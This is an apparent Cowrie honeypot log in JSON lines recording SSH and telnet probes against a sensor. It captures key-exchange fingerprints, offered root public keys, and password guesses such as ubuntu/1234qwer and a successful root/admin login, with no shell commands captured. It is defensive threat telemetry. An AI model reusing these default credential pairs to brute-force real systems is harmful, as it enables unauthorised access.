{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.247364Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:3b:fc:99:21:b1:48:a6:31:df:65:fc:0a:9b:21:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDivWiCpKDe6Q0PFmeQ4Q5UKJ8+fZD/Gtm1G/2rxyPH4kYN7uU2XyTyOxMqSrahanF81roCbZmC3YzdWMjkxmjXgKKWuhFnwYmT1FIRJJPv2Is5e8Dq1JEGqzBWkUwqvkTihonw+Mlnz6J1Jt31aW6UN9vAC9k5qH6zN5UDIRATwfBiKnKKJUexOHrFoNSgJoHfGucvsTedhP2ZJhmIalMzyKGD0g7Ni66Y2+t4sDRymwCr8JNdTznCYW2zg1j7eAktFUXa3BoZ87SmztOpG4R/paUqJFp9XIPLL6wX84urL78E65n0eorqTel0jDoIr5rx8xqb/ab8mozUUtZg763h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:3b:fc:99:21:b1:48:a6:31:df:65:fc:0a:9b:21:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.420865Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:3b:fc:99:21:b1:48:a6:31:df:65:fc:0a:9b:21:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDivWiCpKDe6Q0PFmeQ4Q5UKJ8+fZD/Gtm1G/2rxyPH4kYN7uU2XyTyOxMqSrahanF81roCbZmC3YzdWMjkxmjXgKKWuhFnwYmT1FIRJJPv2Is5e8Dq1JEGqzBWkUwqvkTihonw+Mlnz6J1Jt31aW6UN9vAC9k5qH6zN5UDIRATwfBiKnKKJUexOHrFoNSgJoHfGucvsTedhP2ZJhmIalMzyKGD0g7Ni66Y2+t4sDRymwCr8JNdTznCYW2zg1j7eAktFUXa3BoZ87SmztOpG4R/paUqJFp9XIPLL6wX84urL78E65n0eorqTel0jDoIr5rx8xqb/ab8mozUUtZg763h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.424927Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:f1:cb:e3:ef:cb:6a:5a:2f:d5:18:29:fd:05:5d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRKzgYVoNWGFmJ83FoV8FSFDxlhhzd3f4gK8Jgep3c3w9ndXnlkNhINv34WPX4wGGIQxq1FL7QKplCckwD53FXRmnXHabXzDaAoq6QIagnMKhkaEmkVHMumSldoyTsb6KM347rcssyibxD0RZK5+6ZCbgfnhR24vuQmh6/Nw6XuJxsNh2dJnaIrxz+wKziUyxpqFS9HbUWHjRbS+xhjVXJcEEr1wgqsI5ADzPKLJkjZ4phVxC29S/VK8hrqRTfOEuySfpEn8oCbgFCHdo55KO3Y3FoU3R99UAFgg0C+gq1puBUA3DT7dEmb0pth0d55hcdb8RoCG8ndsFFf+4kUQJ2QYBX8ReoDH2UxzOPdAJBMNSyXoXXJ2MiU+Glsi1MV3pKsyPJE9pv4ajJNN7Co51uohqTgiR9mjUEDRsNHvct3Qpf7dA0KemezeuKVFgDx6YgwVu+EEsCF782qLIXP+EnBzZ4OdAY92e88cOy2sN4fgSb8KbezyQf72P5EcfehrPPCHPfWARxMxh5Zo1IOrFyKHSareNOYmBwf7dHQCYFlw+CwgOASXPj0uA9Q+oSPE8gtUwBAada82tTXaclOYUq1xPAnT9Qk7mu44KbSuZWy56s7F4xX7BTHxIuO0VlweUd8ZQnHOjdqBAD/FKu7cqZZ6h3WEXB2v8i4L3Ru3jIxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:f1:cb:e3:ef:cb:6a:5a:2f:d5:18:29:fd:05:5d:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.465489Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:f1:cb:e3:ef:cb:6a:5a:2f:d5:18:29:fd:05:5d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRKzgYVoNWGFmJ83FoV8FSFDxlhhzd3f4gK8Jgep3c3w9ndXnlkNhINv34WPX4wGGIQxq1FL7QKplCckwD53FXRmnXHabXzDaAoq6QIagnMKhkaEmkVHMumSldoyTsb6KM347rcssyibxD0RZK5+6ZCbgfnhR24vuQmh6/Nw6XuJxsNh2dJnaIrxz+wKziUyxpqFS9HbUWHjRbS+xhjVXJcEEr1wgqsI5ADzPKLJkjZ4phVxC29S/VK8hrqRTfOEuySfpEn8oCbgFCHdo55KO3Y3FoU3R99UAFgg0C+gq1puBUA3DT7dEmb0pth0d55hcdb8RoCG8ndsFFf+4kUQJ2QYBX8ReoDH2UxzOPdAJBMNSyXoXXJ2MiU+Glsi1MV3pKsyPJE9pv4ajJNN7Co51uohqTgiR9mjUEDRsNHvct3Qpf7dA0KemezeuKVFgDx6YgwVu+EEsCF782qLIXP+EnBzZ4OdAY92e88cOy2sN4fgSb8KbezyQf72P5EcfehrPPCHPfWARxMxh5Zo1IOrFyKHSareNOYmBwf7dHQCYFlw+CwgOASXPj0uA9Q+oSPE8gtUwBAada82tTXaclOYUq1xPAnT9Qk7mu44KbSuZWy56s7F4xX7BTHxIuO0VlweUd8ZQnHOjdqBAD/FKu7cqZZ6h3WEXB2v8i4L3Ru3jIxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.469034Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:ce:84:3d:63:09:e6:44:4d:cd:8f:12:09:51:68:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUvT3fGR5/wAvQ+CLlbz/rhFCX1ezm9QRFv8tZi4OriVzsVJxUgkLx6Tj2/POpbByUUDG7PCvkcV4tZO16Io6/KIPg9YYVY8zw72wkjuQiILi5Leq+XIJ8ZzPqRChiU4nS1vdnzYeFSfQphcajQau5daQH5gofCQ3J93aPvav4NT0B8tu87tuVaBcb5w2brPFyopEplgUm9ZGAW4s3BxknEbr6xpVOo1jri123RYjHVQKKxiX9/E/22wep4itb8B6yVRqQjKnsJe5JjLZPvIR/OkfOu8yXXsorf/SK0MDo6juvsOYmnweD0WarI1h0qKbAWV6GKsfIGXtlfDp+4mf+OwEBfCDpmBJ7kfuphjDRF73KzZpi9wziYdHVtD6mIpXot+qPL+NEDiKtHYies+I1q92OS+ZRj2amKkbFSCzoCmA/UQ7y643V1Y2NiO4zViGl5d0RYGDjIezyhwhJt6WzJASFLC1kKFqLHXlNKP+I/Gj2tgczlOe2uxq5yq7zte1216BXS71wja+9JQjdCrcQTsOK4KwEIdA6M5D3iP//ggMyaF11TERU+hSGk6IT53gn6J8XBoz+Tuaoy+8pJh8wRfBTqv+WCvretqVka3/sVTO41in8JWm8z3/ZLLfIaA80SlQRqGcYiOd+ijTBpnLE2Mtdhsr4VYjsx4CFcajLhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:ce:84:3d:63:09:e6:44:4d:cd:8f:12:09:51:68:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.507766Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:ce:84:3d:63:09:e6:44:4d:cd:8f:12:09:51:68:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUvT3fGR5/wAvQ+CLlbz/rhFCX1ezm9QRFv8tZi4OriVzsVJxUgkLx6Tj2/POpbByUUDG7PCvkcV4tZO16Io6/KIPg9YYVY8zw72wkjuQiILi5Leq+XIJ8ZzPqRChiU4nS1vdnzYeFSfQphcajQau5daQH5gofCQ3J93aPvav4NT0B8tu87tuVaBcb5w2brPFyopEplgUm9ZGAW4s3BxknEbr6xpVOo1jri123RYjHVQKKxiX9/E/22wep4itb8B6yVRqQjKnsJe5JjLZPvIR/OkfOu8yXXsorf/SK0MDo6juvsOYmnweD0WarI1h0qKbAWV6GKsfIGXtlfDp+4mf+OwEBfCDpmBJ7kfuphjDRF73KzZpi9wziYdHVtD6mIpXot+qPL+NEDiKtHYies+I1q92OS+ZRj2amKkbFSCzoCmA/UQ7y643V1Y2NiO4zViGl5d0RYGDjIezyhwhJt6WzJASFLC1kKFqLHXlNKP+I/Gj2tgczlOe2uxq5yq7zte1216BXS71wja+9JQjdCrcQTsOK4KwEIdA6M5D3iP//ggMyaF11TERU+hSGk6IT53gn6J8XBoz+Tuaoy+8pJh8wRfBTqv+WCvretqVka3/sVTO41in8JWm8z3/ZLLfIaA80SlQRqGcYiOd+ijTBpnLE2Mtdhsr4VYjsx4CFcajLhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.511629Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:1d:93:23:31:3f:32:38:25:4b:0c:11:d6:05:27:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCls5/Nlk8KKL9Ubm1SZ7UmD1xhj28RSC4e3hnJRyb74ylxdkNtyluy0Oyq6EDRy7FJJegmKmDNQBIIvn4HkWqj2pa2jWKmMncVZdM3W3k8EWRa7hljT7T3epdm/cnuNqdSLMR5gi+eqpRBRcuWBEDTIkEFmMN8+z5b2KfbqiVrG3zhEWPrV7qmIGZdjWLZzVNjiatqvRuVehUD3zui45mdlJD6jQepsigFd6JoZh/JPywBjfNdA/sdM/tCiffcyT8Mnd0WC526h9myRhR3zdq025x+g6qilAv2qJu0p0W4XJ9JmRe0GcMFUFCCEA/yd2vuNlYvpXNPo/itPkB0seFdST6obR59Uoct/hI5GjQaVB+jqnUmsGhOi7nG0z0K3SS4pqjVnFGyrKAntKStYJ8FA2IpvCPSqAp5zx7G1CNoK8oyiahRgriFFqxewLLtpcVdu/42e2d6oRMOrgJQv8KVPw/jGaLXwZ2/plga6jpQMs9BVbBD2UaWzgbXnukaeyb/x47A+h6R3/5jOC1foMn0Eia6XqO41WvlHVsNCtMQNatAHltRWG3A3E8dV5ovxpXG3+3HWESmPPLCHfMNtgnif9oWYgYwrlM1V+s80wX4RT+tsx/ZMNo2a2BNej3kBWIKiH7bHQhYAGZbp/ByL3ZoP82yJAONuqhwk58tO/lJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:1d:93:23:31:3f:32:38:25:4b:0c:11:d6:05:27:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.551206Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:1d:93:23:31:3f:32:38:25:4b:0c:11:d6:05:27:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCls5/Nlk8KKL9Ubm1SZ7UmD1xhj28RSC4e3hnJRyb74ylxdkNtyluy0Oyq6EDRy7FJJegmKmDNQBIIvn4HkWqj2pa2jWKmMncVZdM3W3k8EWRa7hljT7T3epdm/cnuNqdSLMR5gi+eqpRBRcuWBEDTIkEFmMN8+z5b2KfbqiVrG3zhEWPrV7qmIGZdjWLZzVNjiatqvRuVehUD3zui45mdlJD6jQepsigFd6JoZh/JPywBjfNdA/sdM/tCiffcyT8Mnd0WC526h9myRhR3zdq025x+g6qilAv2qJu0p0W4XJ9JmRe0GcMFUFCCEA/yd2vuNlYvpXNPo/itPkB0seFdST6obR59Uoct/hI5GjQaVB+jqnUmsGhOi7nG0z0K3SS4pqjVnFGyrKAntKStYJ8FA2IpvCPSqAp5zx7G1CNoK8oyiahRgriFFqxewLLtpcVdu/42e2d6oRMOrgJQv8KVPw/jGaLXwZ2/plga6jpQMs9BVbBD2UaWzgbXnukaeyb/x47A+h6R3/5jOC1foMn0Eia6XqO41WvlHVsNCtMQNatAHltRWG3A3E8dV5ovxpXG3+3HWESmPPLCHfMNtgnif9oWYgYwrlM1V+s80wX4RT+tsx/ZMNo2a2BNej3kBWIKiH7bHQhYAGZbp/ByL3ZoP82yJAONuqhwk58tO/lJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.555403Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:29:6f:34:52:8b:c6:73:d6:df:28:33:45:51:93:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDy8dcCE6WptxxxpFDm5fXmkYw3WyH++WeWgymCjMc+qbWZ5yFCwkdIYGn/5lHLS+GEqglfBBFwA4vdY3z8xHZFMjef2Xl0JFMeJWVlRITjpVKt6c2JgVgL7rDg00HhyK2tuneXvNihNs4y/pPSZnNr4EcGOuduVnd4SiWDJq4z1Ur2rSHQk4u9cD+kZmJCx1k+K9v4U5KsyNPcmSf0k0pToFmGJyb388sQKYZl0EDfMA4Ky+JTTCQ/KtNRB3wKjS9r5LYpckmlKBJ4D/NCsfz87m84t/9ve4DAdorCsjV9rTWINUdGIFa6BI/Wj9SmFUH3Va2bV/yssQEkT4OkdBDj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:29:6f:34:52:8b:c6:73:d6:df:28:33:45:51:93:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.596994Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:29:6f:34:52:8b:c6:73:d6:df:28:33:45:51:93:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDy8dcCE6WptxxxpFDm5fXmkYw3WyH++WeWgymCjMc+qbWZ5yFCwkdIYGn/5lHLS+GEqglfBBFwA4vdY3z8xHZFMjef2Xl0JFMeJWVlRITjpVKt6c2JgVgL7rDg00HhyK2tuneXvNihNs4y/pPSZnNr4EcGOuduVnd4SiWDJq4z1Ur2rSHQk4u9cD+kZmJCx1k+K9v4U5KsyNPcmSf0k0pToFmGJyb388sQKYZl0EDfMA4Ky+JTTCQ/KtNRB3wKjS9r5LYpckmlKBJ4D/NCsfz87m84t/9ve4DAdorCsjV9rTWINUdGIFa6BI/Wj9SmFUH3Va2bV/yssQEkT4OkdBDj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.600949Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:29:50.643475Z","src_ip":"99.192.162.179","session":"3d7994561a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.212.215.196","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbfa3dc24f8","protocol":"telnet","message":"New connection: 173.212.215.196:43172 (10.17.0.5:23) [session: dbbfa3dc24f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:00.132822Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54980,"dst_ip":"159.203.135.109","dst_port":22,"session":"706d6f1fc368","protocol":"ssh","message":"New connection: 2.57.122.208:54980 (159.203.135.109:22) [session: 706d6f1fc368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:08.944755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:09.029181Z","src_ip":"2.57.122.208","session":"706d6f1fc368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:09.128124Z","src_ip":"2.57.122.208","session":"706d6f1fc368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:10.452672Z","src_ip":"2.57.122.208","session":"706d6f1fc368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:11.723747Z","src_ip":"2.57.122.208","session":"706d6f1fc368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":6296,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d484ed7f530","protocol":"ssh","message":"New connection: 113.190.252.123:6296 (159.203.135.109:22) [session: 6d484ed7f530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:28.163864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:28.168658Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:28.690235Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:31.448569Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:32.503258Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:33.011044Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"2.5","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:35.519807Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:35.523781Z","src_ip":"113.190.252.123","session":"6d484ed7f530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12132287025452,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:36.253995Z","src_ip":"173.212.215.196","session":"dbbfa3dc24f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39320,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd94f3f1e6b","protocol":"ssh","message":"New connection: 2.57.122.208:39320 (10.17.0.5:22) [session: bfd94f3f1e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:40.347392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:30:40.523062Z","src_ip":"2.57.122.208","session":"bfd94f3f1e6b","protocol":"ssh"}
